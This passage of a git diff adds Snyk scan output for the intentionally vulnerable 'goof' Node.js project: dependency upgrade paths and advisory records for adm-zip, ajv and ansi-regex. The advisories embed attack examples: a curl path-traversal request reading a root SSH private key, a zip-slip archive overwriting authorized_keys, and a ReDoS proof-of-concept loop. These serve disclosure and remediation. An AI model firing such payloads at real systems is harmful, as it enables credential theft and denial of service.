[ + "<3.2.2", + ">=4.0.0 <4.0.1", + ">=5.0.0 <5.0.5" + ] + }, + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "y18n@4.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "y18n@4.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "y18n", + "version": "4.0.0", + "severityWithCritical": "high" + }, + { + "id": "snyk:lic:npm:goof:GPL-2.0", + "packageName": "goof", + "semver": { + "vulnerable": [ + ">=0" + ] + }, + "creationTime": "2022-04-29T11:43:00.852Z", + "description": "GPL-2.0 license", + "language": "js", + "license": "GPL-2.0", + "packageManager": "npm", + "publicationTime": "2022-04-29T11:43:00.852Z", + "title": "GPL-2.0 license", + "type": "license", + "severity": "high", + "from": [ + "goof@1.0.1" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "goof", + "version": "1.0.1", + "severityWithCritical": "high" + } + ], + "upgrade": { + "adm-zip@0.4.7": { + "upgradeTo": "adm-zip@0.5.2", + "upgrades": [ + "adm-zip@0.4.7", + "adm-zip@0.4.7" + ], + "vulns": [ + "SNYK-JS-ADMZIP-1065796", + "npm:adm-zip:20180415" + ] + }, + "body-parser@1.9.0": { + "upgradeTo": "body-parser@1.17.1", + "upgrades": [ + "qs@2.2.4" + ], + "vulns": [ + "npm:qs:20170213" + ] + }, + "cfenv@1.2.2": { + "upgradeTo": "cfenv@1.2.4", + "upgrades": [ + "underscore@1.9.1" + ], + "vulns": [ + "SNYK-JS-UNDERSCORE-1080984" + ] + }, + "dustjs-linkedin@2.5.0": { + "upgradeTo": "dustjs-linkedin@3.0.0", + "upgrades": [ + "dustjs-linkedin@2.5.0", + "dustjs-linkedin@2.5.0" + ], + "vulns": [ + "SNYK-JS-DUSTJSLINKEDIN-1089257", + "npm:dustjs-linkedin:20160819" + ] + }, + "ejs@1.0.0": { + "upgradeTo": "ejs@3.1.7", + "upgrades": [ + "ejs@1.0.0", + "ejs@1.0.0", + "ejs@1.0.0", + "ejs@1.0.0", + "ejs@1.0.0" + ], + "vulns": [ + "SNYK-JS-EJS-2803307", + "SNYK-JS-EJS-1049328", + "npm:ejs:20161130", + "npm:ejs:20161130-1", + "npm:ejs:20161128" + ] + }, + "errorhandler@1.2.0": { + "upgradeTo": "errorhandler@1.4.3", + "upgrades": [ + "negotiator@0.4.9" + ], + "vulns": [ + "npm:negotiator:20160616" + ] + }, + "express@4.12.4": { + "upgradeTo": "express@4.16.0", + "upgrades": [ + "mime@1.3.4", + "debug@2.2.0", + "fresh@0.2.4", + "ms@0.7.1", + "qs@2.4.2", + "negotiator@0.5.3" + ], + "vulns": [ + "npm:mime:20170907", + "npm:debug:20170905", + "npm:fresh:20170908", + "npm:ms:20170412", + "npm:qs:20170213", + "npm:negotiator:20160616" + ] + }, + "express-fileupload@0.0.5": { + "upgradeTo": "express-fileupload@1.1.10", + "upgrades": [ + "express-fileupload@0.0.5", + "express-fileupload@0.0.5" + ], + "vulns": [ + "SNYK-JS-EXPRESSFILEUPLOAD-595969", + "SNYK-JS-EXPRESSFILEUPLOAD-473997" + ] + }, + "hbs@4.0.4": { + "upgradeTo": "hbs@4.1.2", + "upgrades": [ + "handlebars@4.0.14", + "handlebars@4.0.14", + "handlebars@4.0.14", + "handlebars@4.0.14", + "handlebars@4.0.14", + "handlebars@4.0.14", + "handlebars@4.0.14" + ], + "vulns": [ + "SNYK-JS-HANDLEBARS-1056767", + "SNYK-JS-HANDLEBARS-1279029", + "SNYK-JS-HANDLEBARS-567742", + "SNYK-JS-HANDLEBARS-480388", + "SNYK-JS-HANDLEBARS-534478", + "SNYK-JS-HANDLEBARS-534988", + "SNYK-JS-HANDLEBARS-469063" + ] + }, + "jquery@2.2.4": { + "upgradeTo": "jquery@3.5.0", + "upgrades": [ + "jquery@2.2.4", + "jquery@2.2.4", + "jquery@2.2.4", + "jquery@2.2.4" + ], + "vulns": [ + "SNYK-JS-JQUERY-565129", + "SNYK-JS-JQUERY-567880", + "SNYK-JS-JQUERY-174006", + "npm:jquery:20150627" + ] + }, + "lodash@4.17.4": { + "upgradeTo": "lodash@4.17.21", + "upgrades": [ + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4", + "lodash@4.17.4" + ], + "vulns": [ + "SNYK-JS-LODASH-1018905", + "SNYK-JS-LODASH-1040724", + "SNYK-JS-LODASH-567746", + "SNYK-JS-LODASH-608086", + "SNYK-JS-LODASH-450202", + "SNYK-JS-LODASH-73638", + "SNYK-JS-LODASH-73639", + "npm:lodash:20180130" + ] + }, + "marked@0.3.5": { + "upgradeTo": "marked@4.0.10", + "upgrades": [ + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5", + "marked@0.3.5" + ], + "vulns": [ + "SNYK-JS-MARKED-2342073", + "SNYK-JS-MARKED-2342082", + "SNYK-JS-MARKED-584281", + "SNYK-JS-MARKED-174116", + "SNYK-JS-MARKED-451540", + "npm:marked:20180225", + "npm:marked:20170815", + "npm:marked:20170815-1", + "npm:marked:20170907", + "npm:marked:20170112", + "npm:marked:20150520" + ] + }, + "moment@2.15.1": { + "upgradeTo": "moment@2.29.2", + "upgrades": [ + "moment@2.15.1", + "moment@2.15.1", + "moment@2.15.1" + ], + "vulns": [ + "SNYK-JS-MOMENT-2440688", + "npm:moment:20170905", + "npm:moment:20161019" + ] + }, + "mongoose@4.2.4": { + "upgradeTo": "mongoose@5.13.9", + "upgrades": [ + "mpath@0.1.1", + "mquery@1.6.3", + "mongoose@4.2.4", + "mquery@1.6.3", + "async@0.9.0", + "mongodb@2.0.46", + "mongoose@4.2.4", + "debug@2.2.0", + "ms@0.7.1", + "mongoose@4.2.4", + "kerberos@0.0.24" + ], + "vulns": [ + "SNYK-JS-MPATH-1577289", + "SNYK-JS-MQUERY-1089718", + "SNYK-JS-MONGOOSE-1086688", + "SNYK-JS-MQUERY-1050858", + "SNYK-JS-ASYNC-2441827", + "SNYK-JS-MONGODB-473855", + "SNYK-JS-MONGOOSE-472486", + "npm:debug:20170905", + "npm:ms:20170412", + "npm:mongoose:20160116", + "SNYK-JS-KERBEROS-568900" + ] + }, + "ms@0.7.3": { + "upgradeTo": "ms@2.0.0", + "upgrades": [ + "ms@0.7.3" + ], + "vulns": [ + "npm:ms:20170412" + ] + }, + "npmconf@0.0.24": { + "upgradeTo": "npmconf@2.1.3", + "upgrades": [ + "npmconf@0.0.24", + "semver@1.1.4", + "ini@1.1.0" + ], + "vulns": [ + "npm:npmconf:20180512", + "npm:semver:20150403", + "SNYK-JS-INI-1048974" + ] + }, + "st@0.2.4": { + "upgradeTo": "st@1.2.2", + "upgrades": [ + "st@0.2.4", + "mime@1.2.11", + "negotiator@0.2.8", + "st@0.2.4" + ], + "vulns": [ + "npm:st:20171013", + "npm:mime:20170907", + "npm:negotiator:20160616", + "npm:st:20140206" + ] + }, + "tap@11.1.5": { + "upgradeTo": "tap@15.0.0", + "upgrades": [ + "ansi-regex@3.0.0", + "istanbul-reports@1.4.0", + "yargs-parser@9.0.2", + "mem@1.1.0" + ], + "vulns": [ + "SNYK-JS-ANSIREGEX-1583908", + "SNYK-JS-ISTANBULREPORTS-2328088", + "SNYK-JS-YARGSPARSER-560381", + "npm:mem:20180117" + ] + }, + "typeorm@0.2.24": { + "upgradeTo": "typeorm@0.2.27", + "upgrades": [ + "ansi-regex@4.1.0", + "typeorm@0.2.24" + ], + "vulns": [ + "SNYK-JS-ANSIREGEX-1583908", + "SNYK-JS-TYPEORM-590152" + ] + }, + "validator@13.5.2": { + "upgradeTo": "validator@13.7.0", + "upgrades": [ + "validator@13.5.2", + "validator@13.5.2", + "validator@13.5.2", + "validator@13.5.2" + ], + "vulns": [ + "SNYK-JS-VALIDATOR-1090600", + "SNYK-JS-VALIDATOR-1090599", + "SNYK-JS-VALIDATOR-1090601", + "SNYK-JS-VALIDATOR-1090602" + ] + } + }, + "patch": { + "SNYK-JS-LODASH-567746": { + "paths": [ + { + "tap > nyc > istanbul-lib-instrument > babel-types > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-generator > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-traverse > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-template > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-generator > babel-types > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-traverse > babel-types > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-template > babel-types > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-template > babel-traverse > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + }, + { + "tap > nyc > istanbul-lib-instrument > babel-template > babel-traverse > babel-types > lodash": { + "patched": "2022-05-12T19:36:36.664Z" + } + } + ] + }, + "npm:ms:20151024": { + "paths": [ + { + "humanize-ms > ms": { + "patched": "2022-05-12T19:36:36.664Z" + } + } + ] + } + }, + "ignore": {}, + "pin": {} + }, + "filesystemPolicy": false, + "filtered": { + "ignore": [], + "patch": [] + }, + "uniqueCount": 95, + "projectName": "goof", + "displayTargetFile": "package-lock.json", + "path": "/Users/opickford/snyk_projects/nodejs-goof" +} diff --git a/test-filter.json b/test-filter.json new file mode 100644 index 0000000000..e69de29bb2 diff --git a/test.json b/test.json new file mode 100644 index 0000000000..2522e3439e --- /dev/null +++ b/test.json @@ -0,0 +1,43886 @@ +{ + "vulnerabilities": [ + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", + "alternativeIds": [], + "creationTime": "2021-01-28T07:59:50.454879Z", + "credit": [ + "cthackers" + ], + "cvssScore": 7.4, + "description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `adm-zip` to version 0.5.2 or higher.\n## References\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/119dcad6599adccc77982feb14a0c7440fa63013)\n", + "disclosureTime": "2021-01-28T07:59:22Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "0.5.2" + ], + "id": "SNYK-JS-ADMZIP-1065796", + "identifiers": { + "CWE": [ + "CWE-22" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-15T17:04:18.111270Z", + "moduleName": "adm-zip", + "packageManager": "npm", + "packageName": "adm-zip", + "patches": [], + "proprietary": false, + "publicationTime": "2021-02-15T17:04:18.109270Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/cthackers/adm-zip/commit/119dcad6599adccc77982feb14a0c7440fa63013" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Directory Traversal", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<0.5.2" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "adm-zip@0.4.7" + ], + "upgradePath": [ + false, + "adm-zip@0.5.2" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "adm-zip", + "version": "0.4.7" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H/E:H/RL:O/RC:C", + "alternativeIds": [ + "SNYK-JS-ADMZIP-11093" + ], + "creationTime": "2018-05-30T12:09:16.138000Z", + "credit": [ + "Snyk Security Research", + "Sébastien Mignot", + "Alex Chapman" + ], + "cvssScore": 9.4, + "description": "## Overview\n\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\n\nAffected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).\n\n## Details\nIt is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a \"../../file.exe\" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n\r\n+2018-04-15 22:04:29 ..... 19 19 good.txt\r\n\r\n+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n\r\n```\n\n## Remediation\n\nUpgrade `adm-zip` to version 0.4.11 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f)\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde)\n\n- [Hackerone Report](https://hackerone.com/reports/362118)\n\n- [Zip Slip Advisory](https://github.com/snyk/zip-slip-vulnerability)\n\n- [Zip Slip Advisory](https://snyk.io/research/zip-slip-vulnerability)\n", + "disclosureTime": "2018-04-14T21:00:00Z", + "exploit": "High", + "functions": [ + { + "functionId": { + "filePath": "adm-zip.js", + "className": null, + "functionName": "module.exports.getEntry" + }, + "version": [ + ">0.1.1 <0.4.11" + ] + } + ], + "fixedIn": [ + "0.4.11" + ], + "id": "npm:adm-zip:20180415", + "identifiers": { + "CWE": [ + "CWE-29" + ], + "NSP": [ + "681", + "994" + ], + "CVE": [ + "CVE-2018-1002204" + ], + "ALTERNATIVE": [ + "SNYK-JS-ADMZIP-11093" + ], + "GHSA": [ + "GHSA-3v6h-hqm4-2rg6" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-22T17:02:11.882075Z", + "moduleName": "adm-zip", + "packageManager": "npm", + "packageName": "adm-zip", + "patches": [], + "proprietary": true, + "publicationTime": "2018-05-31T07:09:16Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde" + }, + { + "title": "Hackerone Report", + "url": "https://hackerone.com/reports/362118" + }, + { + "title": "Zip Slip Advisory", + "url": "https://github.com/snyk/zip-slip-vulnerability" + }, + { + "title": "Zip Slip Advisory", + "url": "https://snyk.io/research/zip-slip-vulnerability" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Arbitrary File Write via Archive Extraction (Zip Slip)", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "adm-zip.js", + "functionName": "module.exports.getEntry" + }, + "version": [ + ">0.1.1 <0.4.11" + ] + } + ], + "semver": { + "vulnerable": [ + "<0.4.11" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "adm-zip@0.4.7" + ], + "upgradePath": [ + false, + "adm-zip@0.4.11" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "adm-zip", + "version": "0.4.7" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2020-07-16T08:19:48.462528Z", + "credit": [ + "Unknown" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ajv](https://www.npmjs.com/package/ajv) is an Another JSON Schema Validator\n\nAffected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ajv` to version 6.12.3 or higher.\n## References\n- [HackerOne Report](https://hackerone.com/bugs?subject=user&report_id=894259)\n", + "disclosureTime": "2020-07-16T08:14:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "6.12.3" + ], + "id": "SNYK-JS-AJV-584908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2020-15366" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-07-20T12:40:09.463832Z", + "moduleName": "ajv", + "packageManager": "npm", + "packageName": "ajv", + "patches": [], + "proprietary": false, + "publicationTime": "2020-07-16T13:58:04Z", + "references": [ + { + "title": "HackerOne Report", + "url": "https://hackerone.com/bugs?subject=user&report_id=894259" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<6.12.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.10.2" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.12.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ajv", + "version": "6.10.2" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "yargs@11.1.0", + "string-width@2.1.1", + "strip-ansi@4.0.0", + "ansi-regex@3.0.0" + ], + "upgradePath": [ + false, + "tap@15.0.0", + "nyc@15.1.0", + "yargs@15.0.2", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "3.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` 